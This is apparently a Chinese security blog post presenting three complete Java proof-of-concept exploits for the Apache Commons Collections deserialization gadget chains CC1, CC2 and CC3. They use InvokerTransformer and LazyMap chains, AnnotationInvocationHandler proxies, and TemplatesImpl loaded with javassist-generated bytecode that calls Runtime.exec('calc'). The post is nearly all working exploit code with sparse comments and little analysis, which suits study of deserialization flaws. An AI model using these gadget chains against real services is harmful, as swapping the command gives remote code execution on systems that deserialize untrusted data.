Java安全之Commons Collections1-3分析

2022-03-11 10:47:03 浏览数 (2)

CC1分析

POC：

代码语言：javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        //通过字节码构建恶意类
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        Map outmap = LazyMap.decorate(innermap, transformerChain);

        //反射创建AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        
        //将通过反射创建的AnnotationInvocationHandler类转换为InvocationHandler(反射得到的对象是Object类，无法作为newProxyInstance的参数)
        //只能强转为InvocationHandler接口类
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);


        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(handler);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }

}
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CC2分析

代码语言：javascript复制
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {

        //通过字节码构建恶意类
        ClassPool classPool=ClassPool.getDefault();
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
        byte[] bytes=payload.toBytecode();

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();


        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});


        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance, "TestTemplatesImpl");


        //构造利用链
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer);


        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);


        //设置comparator属性
        Field field = queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, transformer_comparator);


        //设置queue属性
        field = queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);


        Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance};
        field.set(queue, objects);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
        oos.close();
    }
}
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CC3分析

代码语言：javascript复制
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {


    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {


        //通过字节码构建恶意类
        ClassPool classPool=ClassPool.getDefault();
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
        byte[] bytes=payload.toBytecode();


        //反射创建TemplatesImpl类
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        //修改_bytecodes属性并加入恶意字节码
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});
        //修改_name属性，为了让程序安装想要的流程进行
        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

        //创建transformer[]对象
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);


        //获取AnnotationInvocationHandler有参构造方法
        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //直接构造一个AnnotationInvocationHandler作为动态代理类
        Object annotationInvocationHandler=constructor.newInstance(Override.class,lazyMap);

        //使用动态代理创建了一个Map接口类，由于反射生成的annotationInvocationHandler是Object对象，
        // 且不能直接加载annotationInvocationHandler，因此只能强转为InvocationHandler
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),(InvocationHandler) annotationInvocationHandler);

        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}
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